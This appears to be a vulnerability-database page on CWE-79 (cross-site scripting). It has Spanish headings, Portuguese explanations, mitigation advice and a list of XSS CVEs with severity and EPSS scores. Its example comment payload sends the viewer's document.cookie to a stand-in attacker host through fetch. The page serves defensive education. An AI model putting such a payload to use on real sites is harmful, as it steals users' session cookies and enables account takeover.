Fallos del tipo CWE-79

28.832 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-43723MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2010-10002LOWSimpleSAMLphp simplesamlphp-module-openid OpenID consumer.php cross site scriptingEPSS 0.6%CVE-2024-4514LOWCampcodes Complete Web-Based School Management System timetable_insert_form.php cross site scriptingEPSS 0.6%CVE-2022-2956LOWConsoleTVs Noxen users.php cross site scriptingEPSS 0.6%CVE-2022-24868HIGHCross site scripting via SVG file upload in GLPIEPSS 0.6%CVE-2025-58357CRITICAL5ire Chat Message XSS Vulnerability Enables Remote Code ExecutionEPSS 0.6%CVE-2006-10001LOWSubscribe to Comments Plugin subscribe-to-comments.php cross site scriptingEPSS 0.6%CVE-2023-48301LOWNextcloud Server HTML injection in search UI when selecting a circle with HTML in the display nameEPSS 0.6%CVE-2022-29880MEDIUMA vulnerability has been identified in SICAM T (All versions < V3.0). Affected devices do not properly validate input in the configuration iEPSS 0.6%CVE-2024-40478MEDIUMA Stored Cross Site Scripting (XSS) vulnerability was found in "/admin/afeedback.php" in Kashipara Online Exam System v1.0, which allows remEPSS 0.6%CVE-2024-40473MEDIUMA Stored Cross Site Scripting (XSS) vulnerability was found in "manage_houses.php" in SourceCodester Best House Rental Management System v1.EPSS 0.6%CVE-2022-0395MEDIUMCross-site Scripting (XSS) - Stored in livehelperchat/livehelperchatEPSS 0.6%CVE-2022-43984HIGHBrowsershot 3.57.3 - Server Side XSS to LFR via HTMLEPSS 0.6%CVE-2021-24487—St Daily Tip <= 4.7 - CSRF to Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-2015MEDIUMCross-site Scripting (XSS) - Stored in jgraph/drawioEPSS 0.6%CVE-2023-29836MEDIUMCross Site Scripting vulnerability found in Exelysis Unified Communication Solutions (EUCS) v.1.0 allows a remote attacker to execute arbitrEPSS 0.6%CVE-2020-9056LOWPeriscope BuySpeed version 14.5 is vulnerable to stored cross-site scriptingEPSS 0.6%CVE-2023-0606CRITICALCross-site Scripting (XSS) - Reflected in ampache/ampacheEPSS 0.6%CVE-2020-36955MEDIUMGrav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site ScriptingEPSS 0.6%CVE-2024-42789MEDIUMA Reflected Cross Site Scripting (XSS) vulnerability was found in "/music/controller.php?page=test" in Kashipara Music Management System v1.EPSS 0.6%